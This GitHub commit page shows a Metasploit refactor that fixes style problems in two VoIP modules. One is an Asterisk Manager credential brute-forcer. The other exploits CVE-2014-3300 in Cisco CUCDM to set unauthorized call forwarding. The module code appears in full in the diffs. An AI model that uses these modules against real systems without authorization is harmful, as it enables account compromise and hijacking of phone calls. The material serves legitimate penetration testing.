Skip to content

Commit b523404

Browse files
authored
Merge pull request rapid7#20135 from bcoles/rubocop-modules-auxiliary-voip
modules/auxiliary/voip: Resolve RuboCop violations
2 parents b799a13 + 5c4108d commit b523404

File tree

6 files changed

+441
-400
lines changed

6 files changed

+441
-400
lines changed

modules/auxiliary/voip/asterisk_login.rb

Lines changed: 78 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -9,43 +9,50 @@ class MetasploitModule < Msf::Auxiliary
99
include Msf::Auxiliary::Report
1010
include Msf::Auxiliary::AuthBrute
1111

12-
def initialize(info={})
13-
super(update_info(info,
14-
'Name' => 'Asterisk Manager Login Utility',
15-
'Description' => %q{
16-
This module attempts to authenticate to an Asterisk Manager service. Please note
17-
that by default, Asterisk Call Management (port 5038) only listens locally, but
18-
this can be manually configured in file /etc/asterisk/manager.conf by the admin
19-
on the victim machine.
20-
},
21-
'Author' =>
22-
[
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Asterisk Manager Login Utility',
17+
'Description' => %q{
18+
This module attempts to authenticate to an Asterisk Manager service. Please note
19+
that by default, Asterisk Call Management (port 5038) only listens locally, but
20+
this can be manually configured in file /etc/asterisk/manager.conf by the admin
21+
on the victim machine.
22+
},
23+
'Author' => [
2324
'dflah_ <dflah[at]alligatorteam.org>',
2425
],
25-
'References' =>
26-
[
26+
'References' => [
2727
['URL', 'http://www.asterisk.org/astdocs/node201.html'], # Docs for AMI
2828
],
29-
'License' => MSF_LICENSE
30-
))
29+
'License' => MSF_LICENSE,
30+
'Notes' => {
31+
'Stability' => [CRASH_SAFE],
32+
'SideEffects' => [ACCOUNT_LOCKOUTS],
33+
'Reliability' => []
34+
}
35+
)
36+
)
3137

3238
register_options(
3339
[
3440
Opt::RPORT(5038),
3541
OptString.new('USER_FILE',
36-
[
37-
false,
38-
'The file that contains a list of probable users accounts.',
39-
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
40-
]),
42+
[
43+
false,
44+
'The file that contains a list of probable users accounts.',
45+
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
46+
]),
4147

4248
OptString.new('PASS_FILE',
43-
[
44-
false,
45-
'The file that contains a list of probable passwords.',
46-
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
47-
])
48-
])
49+
[
50+
false,
51+
'The file that contains a list of probable passwords.',
52+
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
53+
])
54+
]
55+
)
4956
end
5057

5158
def report_cred(opts)
@@ -75,56 +82,58 @@ def report_cred(opts)
7582
create_credential_login(login_data)
7683
end
7784

78-
def run_host(ip)
79-
print_status("Initializing module...")
80-
begin
81-
each_user_pass do |user, pass|
82-
do_login(user, pass)
83-
end
84-
rescue ::Rex::ConnectionError
85-
rescue ::Exception => e
86-
vprint_error("#{rhost}:#{rport} #{e.to_s} #{e.backtrace}")
85+
def run_host(_ip)
86+
print_status('Initializing module...')
87+
each_user_pass do |user, pass|
88+
do_login(user, pass)
8789
end
90+
rescue ::Rex::ConnectionError => e
91+
vprint_error("#{e.class}: #{e.message}")
92+
rescue StandardError => e
93+
elog("Asterisk login attempt failed", error: e)
94+
vprint_error("#{e.class}: #{e.message}")
8895
end
8996

90-
def send_manager(command='')
91-
begin
92-
@result = ''
93-
if (!@connected)
94-
connect
95-
@connected = true
96-
select(nil,nil,nil,0.4)
97-
end
98-
sock.put(command)
99-
@result = sock.get_once || ''
100-
rescue ::Exception => err
101-
print_error("Error: #{err.to_s}")
97+
def send_manager(command = '')
98+
@result = ''
99+
if !@connected
100+
connect
101+
@connected = true
102+
select(nil, nil, nil, 0.4)
102103
end
104+
sock.put(command)
105+
@result = sock.get_once || ''
106+
rescue StandardError => e
107+
print_error("Error: #{e}")
103108
end
104109

105-
def do_login(user='',pass='')
110+
def do_login(user = '', pass = '')
106111
@connected = false
107-
begin
108-
send_manager(nil) # connect Only
109-
if @result !~ /^Asterisk Call Manager(.*)/
110-
print_error("Asterisk Manager does not appear to be running")
111-
return :abort
112-
else
113-
vprint_status("#{rhost}:#{rport} - Trying user:'#{user}' with password:'#{pass}'")
114-
cmd = "Action: Login\r\nUsername: #{user}\r\nSecret: #{pass}\r\n\r\n"
115-
send_manager(cmd)
116-
if /Response: Success/.match(@result)
117-
print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!")
118-
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result)
119-
disconnect
120-
return :next_user
121-
else
122-
disconnect
123-
return :fail
124-
end
125-
end
126-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
127-
rescue ::Timeout::Error, ::Errno::EPIPE
112+
send_manager(nil) # connect only
113+
114+
if @result !~ /^Asterisk Call Manager(.*)/
115+
print_error('Asterisk Manager does not appear to be running')
116+
return :abort
128117
end
118+
119+
vprint_status("#{rhost}:#{rport} - Trying user:'#{user}' with password:'#{pass}'")
120+
cmd = "Action: Login\r\nUsername: #{user}\r\nSecret: #{pass}\r\n\r\n"
121+
send_manager(cmd)
122+
123+
if /Response: Success/.match(@result)
124+
print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!")
125+
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result)
126+
disconnect
127+
return :next_user
128+
end
129+
130+
disconnect
131+
return :fail
132+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
133+
vprint_error(e.message)
134+
return :fail
135+
rescue ::Timeout::Error, ::Errno::EPIPE => e
136+
vprint_error(e.message)
137+
return :fail
129138
end
130139
end

modules/auxiliary/voip/cisco_cucdm_call_forward.rb

Lines changed: 68 additions & 59 deletions
Original file line numberDiff line numberDiff line change
@@ -8,37 +8,44 @@
88
class MetasploitModule < Msf::Auxiliary
99
include Msf::Exploit::Remote::HttpClient
1010

11-
def initialize(info={})
12-
super(update_info(info,
13-
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
14-
'Description' => %q{
15-
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
16-
(CDM) 10 does not properly implement access control, which allows remote attackers to
17-
modify user information. This module exploits the vulnerability to configure unauthorized
18-
call forwarding.
19-
},
20-
'Author' => 'fozavci',
21-
'References' =>
22-
[
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
16+
'Description' => %q{
17+
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
18+
(CDM) 10 does not properly implement access control, which allows remote attackers to
19+
modify user information. This module exploits the vulnerability to configure unauthorized
20+
call forwarding.
21+
},
22+
'Author' => 'fozavci',
23+
'References' => [
2324
['CVE', '2014-3300'],
2425
['BID', '68331']
2526
],
26-
'License' => MSF_LICENSE,
27-
'Actions' =>
28-
[
27+
'License' => MSF_LICENSE,
28+
'Actions' => [
2929
[ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
3030
[ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
3131
],
32-
'DefaultAction' => 'Info'
33-
))
32+
'DefaultAction' => 'Info',
33+
'Notes' => {
34+
'Stability' => [SERVICE_RESOURCE_LOSS],
35+
'SideEffects' => [IOC_IN_LOGS],
36+
'Reliability' => []
37+
}
38+
)
39+
)
3440

3541
register_options(
3642
[
3743
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
38-
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
44+
OptString.new('MAC', [ true, 'MAC address of target phone', '000000000000']),
3945
OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
40-
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
41-
])
46+
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP phones, required for multiple lines'])
47+
]
48+
)
4249
end
4350

4451
def run
@@ -52,22 +59,23 @@ def run
5259

5360
def get_info
5461
uri = normalize_uri(target_uri.to_s)
55-
mac = datastore["MAC"]
62+
mac = datastore['MAC']
5663

57-
print_status("Getting fintnumbers and display names of the IP phone")
64+
print_status('Getting fintnumbers and display names of the IP phone')
5865

5966
res = send_request_cgi(
60-
{
61-
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
62-
'method' => 'GET',
63-
'vars_get' => {
64-
'device' => "SEP#{mac}"
65-
}
66-
})
67+
{
68+
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
69+
'method' => 'GET',
70+
'vars_get' => {
71+
'device' => "SEP#{mac}"
72+
}
73+
}
74+
)
6775

6876
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
69-
print_error("Target appears not vulnerable!")
70-
print_status("#{res}")
77+
print_error('Target appears not vulnerable!')
78+
print_status(res.to_s)
7179
return []
7280
end
7381

@@ -79,9 +87,9 @@ def get_info
7987

8088
list.each do |lst|
8189
xlist = lst.get_elements('Name')
82-
xlist.each {|l| lines << "#{l[0]}"}
90+
xlist.each { |l| lines << (l[0]).to_s }
8391
xlist = lst.get_elements('URL')
84-
xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
92+
xlist.each { |l| fint_numbers << (l[0].to_s.split('fintnumber=')[1]).to_s }
8593
end
8694

8795
lines.size.times do |i|
@@ -94,8 +102,8 @@ def get_info
94102
def forward_calls
95103
# for a specific FINTNUMBER redirection
96104
uri = normalize_uri(target_uri.to_s)
97-
forward_to = datastore["FORWARDTO"]
98-
mac = datastore["MAC"]
105+
forward_to = datastore['FORWARDTO']
106+
mac = datastore['MAC']
99107

100108
if datastore['FINTNUMBER']
101109
fint_numbers = [datastore['FINTNUMBER']]
@@ -104,41 +112,42 @@ def forward_calls
104112
end
105113

106114
if fint_numbers.empty?
107-
print_error("FINTNUMBER required to forward calls")
115+
print_error('FINTNUMBER required to forward calls')
108116
return
109117
end
110118

111119
fint_numbers.each do |fintnumber|
112-
113120
print_status("Sending call forward request for #{fintnumber}")
114121

115122
send_request_cgi(
116-
{
117-
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
118-
'method' => 'GET',
119-
'vars_get' => {
120-
'cfoption' => 'CallForwardAll',
121-
'device' => "SEP#{mac}",
122-
'ProviderName' => 'NULL',
123-
'fintnumber' => "#{fintnumber}",
124-
'telno1' => "#{forward_to}"
125-
}
126-
})
123+
{
124+
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
125+
'method' => 'GET',
126+
'vars_get' => {
127+
'cfoption' => 'CallForwardAll',
128+
'device' => "SEP#{mac}",
129+
'ProviderName' => 'NULL',
130+
'fintnumber' => fintnumber.to_s,
131+
'telno1' => forward_to.to_s
132+
}
133+
}
134+
)
127135

128136
res = send_request_cgi(
129-
{
130-
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
131-
'method' => 'GET',
132-
'vars_get' => {
133-
'device' => "SEP#{mac}",
134-
'fintnumber' => "#{fintnumber}"
135-
}
136-
})
137-
138-
if res && res.body && res.body && res.body.to_s =~ /CFA/
137+
{
138+
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
139+
'method' => 'GET',
140+
'vars_get' => {
141+
'device' => "SEP#{mac}",
142+
'fintnumber' => fintnumber.to_s
143+
}
144+
}
145+
)
146+
147+
if res && res.body.to_s.include?('CFA')
139148
print_good("Call forwarded successfully for #{fintnumber}")
140149
else
141-
print_error("Call forward failed")
150+
print_error('Call forward failed')
142151
end
143152
end
144153
end

0 commit comments

Comments
 (0)